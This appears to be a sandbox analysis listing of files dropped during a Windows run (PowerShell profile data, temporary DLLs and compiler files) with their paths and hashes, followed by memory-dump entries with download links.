                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 21KB
                      • SHA256 0f27e63f8de99ca1265f80805ebfd2f1abcda94ee12ddece60f3596a6ba2169d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 22KB
                      • SHA256 4f231ae7082dc444ae089297ac3599da8b06d79c85b51e62a1a93f0c757ef1f9
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 19KB
                      • SHA256 7e978437ecbfb708e8d7b368a4a2726ebacc2bd453e230fc5c2789248578faa1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 22KB
                      • SHA256 8c47e732bf9b87b2060dc6aa6a08ccb82b79f4ac2ef75e4a0ca4eb1a31b612bb
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      prep_Activatable Class_Hermes_perf.cache
                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                      • Size 599B
                      • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      5zrruew2.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\5zrruew2\5zrruew2.dll
                      • Size 3KB
                      • SHA256 409552bde15c4877f5b8c5b0520b0de4582edac0bcd270ae6ee8802c599e1344
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESDF1B.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESDF1B.tmp
                      • Size 1KB
                      • SHA256 cd4b1d86621bc302489a642da39cb616c4c40b8eccb93d91bfe1aed81fa8c883
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESE3FD.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESE3FD.tmp
                      • Size 1KB
                      • SHA256 8c5e3df01d1f3d3d09ad8d043489c5186d4afe82ef61f8f2bc975d97d4efd683
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESFB00.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESFB00.tmp
                      • Size 1KB
                      • SHA256 fb2cfb5e70b45ccd4f18ff4ed1c65db817b8fc23615f8236672a8591cce8b3bf
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESFB10.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESFB10.tmp
                      • Size 1KB
                      • SHA256 be1d354a907dc02f30e1bf40ffd9d8ac729f72ff547db76d7cf5460265c7c3dc
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESFB11.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RESFB11.tmp
                      • Size 1KB
                      • SHA256 6cb5229bdf8f2f6001b52aace6b443244814e46b2adda00c99f56f09071434fb
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __PSScriptPolicyTest_grjinjok.qx5.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_grjinjok.qx5.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kulg23na.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\kulg23na\kulg23na.dll
                      • Size 3KB
                      • SHA256 3326b8766b879e720aef54c62ebf2b2bcb4dec483084b46b5afcc54b114ade3d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nx0k4u1v.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\nx0k4u1v\nx0k4u1v.dll
                      • Size 3KB
                      • SHA256 7e952b98acddb269f6ca6514c27cc7a384b1154dd5095e115d23fc2e0a8e302b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      xwj3yjvn.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\xwj3yjvn\xwj3yjvn.dll
                      • Size 3KB
                      • SHA256 8dd860ecdb738d141c2f460a31c756f4d0c5d41c49b8114d0f7199b5e129005f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      yci0x5gz.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\yci0x5gz\yci0x5gz.dll
                      • Size 3KB
                      • SHA256 f55e5f06c73dbbf05208bc3ab4ee1e71aec7035cfa7aec9ec7bb988e7ad047fa
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RESFC87.tmp
                      • Path C:\Windows\SystemTemp\RESFC87.tmp
                      • Size 1KB
                      • SHA256 7d935dadb7c69df8ee626b042fbe60c42294814b5e255377e9587317c4b44f15
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nokhjfaq.dll
                      • Path C:\Windows\SystemTemp\nokhjfaq\nokhjfaq.dll
                      • Size 3KB
                      • SHA256 9789523f7d8b98e99c0fa4df6511c45a33d064c6c71ee4faf70287a2b9cf79a5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      5zrruew2.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\5zrruew2\5zrruew2.cmdline
                      • Size 369B
                      • SHA256 65bb00e108508b2e24b0c534d9cd29523d84b770e2137e6572fd2955893b4684
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCB06195C280BD4D6D8419707FFE872946.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\5zrruew2\CSCB06195C280BD4D6D8419707FFE872946.TMP
                      • Size 652B
                      • SHA256 8f6a36c5d2b20e25cf62d4075b3a02233ca8fe3c8db7477eec716935ad92353b
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCCEE407D597E4435EB4CC88AEF29DC7DE.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\kulg23na\CSCCEE407D597E4435EB4CC88AEF29DC7DE.TMP
                      • Size 652B
                      • SHA256 40152d35886412977290230d8f430a45a87e74557c62b2f171d14338b0755de9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kulg23na.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\kulg23na\kulg23na.cmdline
                      • Size 369B
                      • SHA256 16556c9f4e76f335b3a1978edc7f807990b52712f88b0cfffc6cb41a0924a6de
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC9070403F85B64E0F91549CE88CE98143.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\nx0k4u1v\CSC9070403F85B64E0F91549CE88CE98143.TMP
                      • Size 652B
                      • SHA256 d21625a5dd1b0fa81a09eb9fb5260c3fb27036995688ffac51c47429c009e030
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nx0k4u1v.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\nx0k4u1v\nx0k4u1v.cmdline
                      • Size 369B
                      • SHA256 72676d9d66ec8b2f22dc12e81dad9040f5e0f5277200ea11aca7d75ae2c324f7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSC1FEBBA78CB344D808F72B549088488A.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\xwj3yjvn\CSC1FEBBA78CB344D808F72B549088488A.TMP
                      • Size 652B
                      • SHA256 41e10af16704f0d30e70f54fc5994177b52515ef7e03f07b19c353e1a029b6cb
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      xwj3yjvn.0.cs
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\xwj3yjvn\xwj3yjvn.0.cs
                      • Size 240B
                      • SHA256 4a448632362d9e1e478e5593b2da75754d70a0d3d4838fefcd1be4c8174166e5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      xwj3yjvn.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\xwj3yjvn\xwj3yjvn.cmdline
                      • Size 369B
                      • SHA256 f402971bce78900dab9a324888d87c3008ebff4f93765449fbfe4139d327a794
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCA11845F018924F73971225E64EF7042.TMP
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\yci0x5gz\CSCA11845F018924F73971225E64EF7042.TMP
                      • Size 652B
                      • SHA256 97778e0bb5fb6373930a2341c1ad74991e29e97cc28821178ff7edf1377cdfbd
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      yci0x5gz.cmdline
                      • Path \??\c:\Users\Admin\AppData\Local\Temp\yci0x5gz\yci0x5gz.cmdline
                      • Size 369B
                      • SHA256 5c70f1d73d9c23aa30478b2af6a5bcec8828287783f99ab80473a532850f5f27
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      CSCE52420216C2C4E8CABCDDF2B91500CD.TMP
                      • Path \??\c:\Windows\SystemTemp\nokhjfaq\CSCE52420216C2C4E8CABCDDF2B91500CD.TMP
                      • Size 652B
                      • SHA256 d178d209e605aa9361a46267d18334a236759127edab91089a41e0a9ce05d98d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      nokhjfaq.cmdline
                      • Path \??\c:\Windows\SystemTemp\nokhjfaq\nokhjfaq.cmdline
                      • Size 345B
                      • SHA256 b2b22649530f3ab6efce026f94cf0c075e53f196bd34f9d73e10944d104a7263
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      memory/792-509-0x0000020621900000-0x00000206222A4000-memory.dmp
                      Download

                      memory/2584-492-0x000001B911E70000-0x000001B912814000-memory.dmp
                      Download

                      memory/2672-417-0x0000000000F10000-0x000000000154A000-memory.dmp
                      Download

                      memory/2672-79-0x0000000000F10000-0x000000000154A000-memory.dmp
                      Download

                      memory/2764-511-0x00000205EB0A0000-0x00000205EB0A8000-memory.dmp
                      Download

                      memory/2912-30-0x0000000007570000-0x0000000007590000-memory.dmp
                      Download

                      memory/2912-25-0x0000000070880000-0x00000000708CC000-memory.dmp
                      Download

                      memory/2912-7-0x0000000002C40000-0x0000000002C76000-memory.dmp
                      Download

                      memory/2912-37-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-35-0x0000000073F72000-0x0000000073F73000-memory.dmp
                      Download

                      memory/2912-36-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-34-0x0000000007740000-0x000000000774A000-memory.dmp
                      Download

                      memory/2912-8-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-9-0x0000000005470000-0x0000000005ABA000-memory.dmp
                      Download

                      memory/2912-6-0x0000000073F72000-0x0000000073F73000-memory.dmp
                      Download

                      memory/2912-39-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-33-0x0000000008630000-0x0000000008CAC000-memory.dmp
                      Download

                      memory/2912-10-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-12-0x0000000005B60000-0x0000000005BC6000-memory.dmp
                      Download

                      memory/2912-32-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-11-0x0000000005AC0000-0x0000000005AE2000-memory.dmp
                      Download

                      memory/2912-31-0x00000000075C0000-0x0000000007663000-memory.dmp
                      Download

                      memory/2912-13-0x0000000005BD0000-0x0000000005C36000-memory.dmp
                      Download

                      memory/2912-27-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-26-0x00000000709E0000-0x0000000070D3B000-memory.dmp
                      Download

                      memory/2912-16-0x0000000005CA0000-0x0000000005FFB000-memory.dmp
                      Download

                      memory/2912-17-0x0000000006140000-0x000000000615E000-memory.dmp
                      Download

                      memory/2912-24-0x0000000007530000-0x0000000007566000-memory.dmp
                      Download

                      memory/2912-18-0x00000000061A0000-0x00000000061EC000-memory.dmp
                      Download

                      memory/2912-23-0x0000000073F60000-0x000000007471C000-memory.dmp
                      Download

                      memory/2912-22-0x00000000079F0000-0x0000000007FAA000-memory.dmp
                      Download

                      memory/2912-21-0x00000000066E0000-0x0000000006702000-memory.dmp
                      Download

                      memory/2912-19-0x0000000007140000-0x00000000071D6000-memory.dmp
                      Download

                      memory/2912-20-0x0000000006670000-0x000000000668A000-memory.dmp
                      Download

                      memory/2940-491-0x0000028750A80000-0x0000028751424000-memory.dmp
                      Download

                      memory/3060-430-0x0000000006EF0000-0x0000000006EF8000-memory.dmp
                      Download

                      memory/3500-359-0x0000000070280000-0x00000000702CC000-memory.dmp
                      Download

                      memory/3500-362-0x00000000703E0000-0x000000007073B000-memory.dmp
                      Download

                      memory/3504-392-0x00000000002A0000-0x00000000002B9000-memory.dmp
                      Download

                      memory/3504-301-0x00000000002A0000-0x00000000002B9000-memory.dmp
                      Download

                      memory/3504-380-0x00000000002A0000-0x00000000002B9000-memory.dmp
                      Download

                      memory/3576-119-0x0000000007CF0000-0x0000000007D93000-memory.dmp
                      Download

                      memory/3576-116-0x00000000707E0000-0x0000000070B3B000-memory.dmp
                      Download

                      memory/3576-110-0x0000000006370000-0x00000000066CB000-memory.dmp
                      Download

                      memory/3576-114-0x00000000068C0000-0x000000000690C000-memory.dmp
                      Download

                      memory/3576-115-0x0000000070680000-0x00000000706CC000-memory.dmp
                      Download

                      memory/3608-453-0x000002049B370000-0x000002049B392000-memory.dmp
                      Download

                      memory/3608-517-0x000002049B320000-0x000002049B328000-memory.dmp
                      Download

                      memory/3696-365-0x0000028430200000-0x0000028430634000-memory.dmp
                      Download

                      memory/3704-333-0x0000000008720000-0x00000000088E2000-memory.dmp
                      Download

                      memory/3704-136-0x0000000006350000-0x00000000066AB000-memory.dmp
                      Download

                      memory/3704-144-0x0000000007C70000-0x0000000007C94000-memory.dmp
                      Download

                      memory/3704-143-0x0000000007C40000-0x0000000007C6A000-memory.dmp
                      Download

                      memory/3704-145-0x00000000703E0000-0x000000007073B000-memory.dmp
                      Download

                      memory/3704-142-0x0000000007970000-0x0000000007A13000-memory.dmp
                      Download

                      memory/3704-334-0x0000000008E20000-0x000000000934C000-memory.dmp
                      Download

                      memory/3704-138-0x0000000006C20000-0x0000000006C6C000-memory.dmp
                      Download

                      memory/3704-139-0x0000000070280000-0x00000000702CC000-memory.dmp
                      Download

                      memory/4356-194-0x000001EB14300000-0x000001EB14320000-memory.dmp
                      Download

                      memory/4356-148-0x000001EB001E0000-0x000001EB002E0000-memory.dmp
                      Download

                      memory/4356-180-0x000001EB03C60000-0x000001EB03C80000-memory.dmp
                      Download

                      memory/4356-169-0x000001EB03A20000-0x000001EB03A40000-memory.dmp
                      Download

                      memory/4356-170-0x000001EB13E80000-0x000001EB13F80000-memory.dmp
                      Download

                      memory/4468-409-0x00000000064C0000-0x00000000064C8000-memory.dmp
                      Download

                      memory/4468-443-0x0000000007FB0000-0x0000000007FC1000-memory.dmp
                      Download

                      memory/4468-378-0x0000000005AF0000-0x0000000005E4B000-memory.dmp
                      Download

                      memory/4468-379-0x00000000064E0000-0x000000000652C000-memory.dmp
                      Download

                      memory/4468-435-0x00000000722E0000-0x000000007232C000-memory.dmp
                      Download

                      memory/4468-436-0x00000000717C0000-0x0000000071B1B000-memory.dmp
                      Download

                      memory/4468-439-0x0000000008180000-0x0000000008223000-memory.dmp
                      Download

                      memory/4468-440-0x00000000717C0000-0x0000000071B1B000-memory.dmp
                      Download

                      memory/5224-90-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-87-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-73-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-74-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-75-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-76-0x0000000006070000-0x00000000063CB000-memory.dmp
                      Download

                      memory/5224-81-0x0000000006660000-0x00000000066AC000-memory.dmp
                      Download

                      memory/5224-82-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5224-83-0x0000000070850000-0x000000007089C000-memory.dmp
                      Download

                      memory/5224-86-0x0000000007A20000-0x0000000007AC3000-memory.dmp
                      Download

                      memory/5224-88-0x0000000073F30000-0x00000000746EC000-memory.dmp
                      Download

                      memory/5524-525-0x000001589AE90000-0x000001589B052000-memory.dmp
                      Download

                      memory/5524-513-0x00000158823B0000-0x00000158823B8000-memory.dmp
                      Download

                      memory/5900-499-0x0000024E7DC20000-0x0000024E7E5C4000-memory.dmp
                      Download

                      memory/5932-526-0x0000028020850000-0x0000028020D78000-memory.dmp
                      Download

                      memory/5932-542-0x000002801FD20000-0x000002801FD3E000-memory.dmp
                      Download

                      memory/5932-515-0x000002801FC80000-0x000002801FC88000-memory.dmp
                      Download

                      memory/5932-533-0x0000028020040000-0x000002802006A000-memory.dmp
                      Download

                      memory/5932-534-0x0000028020040000-0x0000028020064000-memory.dmp
                      Download

                      memory/5932-532-0x000002801FD20000-0x000002801FD2A000-memory.dmp
                      Download

                      memory/5932-531-0x000002801FF80000-0x0000028020032000-memory.dmp
                      Download

                      memory/5932-530-0x000002801FD00000-0x000002801FD1E000-memory.dmp
                      Download